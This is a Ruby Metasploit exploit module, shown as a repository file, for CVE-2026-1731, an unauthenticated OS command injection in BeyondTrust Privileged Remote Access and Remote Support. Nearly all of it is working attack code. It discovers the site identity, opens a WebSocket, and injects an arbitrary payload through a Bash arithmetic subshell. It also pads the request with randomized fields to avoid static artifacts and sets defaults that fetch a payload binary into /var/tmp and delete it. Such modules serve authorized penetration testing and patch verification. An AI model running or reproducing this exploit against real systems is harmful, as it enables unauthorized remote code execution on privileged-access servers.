Files
metasploit-gs/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb
2026-03-03 15:42:15 +01:00

157 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Beyondtrust
include Msf::Exploit::Remote::HttpClient
include Rex::Proto::Http::WebSocket
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
'Description' => %q{
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
},
'License' => MSF_LICENSE,
'Author' => [
'Harsh Jaiswal', # Discovery
'Jonah Burgess (CryptoCat)' # Module
],
'References' => [
['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
],
'DisclosureDate' => '2026-02-06',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the site user.
'Targets' => [
[
'Command Injection', {
'Payload' => {
'DisableNops' => true,
# We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
# We must avoid characters that break the subshell or the arithmetic structure.
'BadChars' => '[$()]'
}
}
],
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options(
[
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
]
)
end
def check
version = get_version
return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?
version = Rex::Version.new(version)
return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')
CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
end
def exploit
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
# establish a WebSocket connection to the target site application. By default, we query the target site to
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
site_info = get_site_info
if site_info.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
end
vprint_status("Company name: #{site_info[:company]}")
vprint_status("Site FQDN: #{site_info[:server]}")
headers = {
# This is the vulnerable application which is reachable over a WebSocket to the target site.
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
}
if !site_info[:company].blank?
print_status("Using company name: #{site_info[:company]}")
headers['X-Ns-Company'] = site_info[:company]
elsif !site_info[:server].blank?
print_status("Using site FQDN: #{site_info[:server]}")
headers['Host'] = site_info[:server]
else
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nw'),
'headers' => headers
)
prefix = Rex::Text.rand_text_alpha(rand(1..5))
suffix = rand(0..5)
wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")
# Complete the sequence with randomized dummy data to avoid static artifacts
wsock.put_wstext("#{SecureRandom.uuid}\n") # remoteCookie
wsock.put_wstext("#{rand(0..2)}\n") # remoteAuthType (usually 0, 1, or 2)
wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey
while wsock.has_read_data? datastore['WFSDELAY']
frame = wsock.get_wsframe
break if frame.nil?
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
break
end
end
wsock.wsclose
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
if e.http_response && !e.http_response.body.blank?
if e.http_response.body == 'Invalid company or app name'
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
else
print_error(e.http_response.body)
end
end
fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
end
end